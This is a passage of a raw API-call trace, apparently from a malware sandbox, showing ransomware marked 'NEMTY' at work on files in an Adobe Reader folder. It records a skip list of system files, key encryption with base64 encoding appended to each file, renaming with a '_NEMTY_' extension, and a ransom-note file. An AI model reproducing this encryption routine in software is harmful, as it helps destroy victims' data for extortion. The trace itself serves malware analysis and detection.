Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0178.298] Sleep (dwMilliseconds=0x5) [0178.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1dece8f0, dwHighDateTime=0x1d561e8)) [0178.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1dece8f0, dwHighDateTime=0x1d561e8)) [0178.306] GetLastError () returned 0x0 [0178.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.306] GetLastError () returned 0x0 [0178.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0178.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0178.306] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0178.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0178.306] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="ywMAAyV6SRamUPtgfs6YuoTLiuoL2CxcOI3teR8dcmnbskuIufM7hQcK0tckhK4/\r\nv+tnDxc32zwyztNy59Swp84csMn6Zi+v32LTugG9IgijJ+FGYRxC3gNmMSdzhzW5\r\nnbo28PfNufzINGIHTUXslVPbygpZ4wJ5UBUfNo7ycNtUE8WVwE5a+T3z404L1m66\r\n7vIlpZGcz9mnxKzhLiGeYRBgV8r0kEnFfnwOusYUObjnah7u3Bd+0PVsCMnxyYA7\r\nvUGjrwp5fNOAXOfQ7WKkogugNze/P90zs0Rox2ArbgE75EOESBmIOYT2zeeeVFcH\r\nN5VlDFn4CZCMpvm74SIIrg==\r\n", pcchString=0x653e29c) returned 1 [0178.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0178.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0178.307] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=232) returned 1 [0178.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0178.307] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.307] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0178.308] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.308] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0178.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0178.308] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe8 [0178.308] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0178.308] CloseHandle (hObject=0x2f0) returned 1 [0178.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0178.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0178.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0178.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0178.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.309] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0178.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0178.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0178.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.312] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de82630, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1de82630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1de82630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0178.312] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0178.313] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0178.313] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0178.313] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0178.313] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0178.313] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0178.313] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0178.313] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0178.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0178.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0178.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.314] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de82630, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1de82630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1de82630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0178.314] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0178.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.314] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.HUN", cAlternateFileName="")) returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2=".") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="..") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="...") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="windows") returned -1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="rsa") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="NTDETECT.COM") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="ntldr") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="MSDOS.SYS") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="IO.SYS") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="boot.ini") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="boot.ini") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="ntuser.dat") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="desktop.ini") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="CONFIG.SYS") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="RECYCLER") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="bootmgr") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="programdata") returned 1 [0178.314] lstrcmpiW (lpString1="Spelling.HUN", lpString2="appdata") returned 1 [0178.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.315] Sleep (dwMilliseconds=0x5) [0178.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1def4a50, dwHighDateTime=0x1d561e8)) [0178.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1def4a50, dwHighDateTime=0x1d561e8)) [0178.321] GetLastError () returned 0x12 [0178.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.321] GetLastError () returned 0x12 [0178.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.322] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.322] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.322] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.322] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 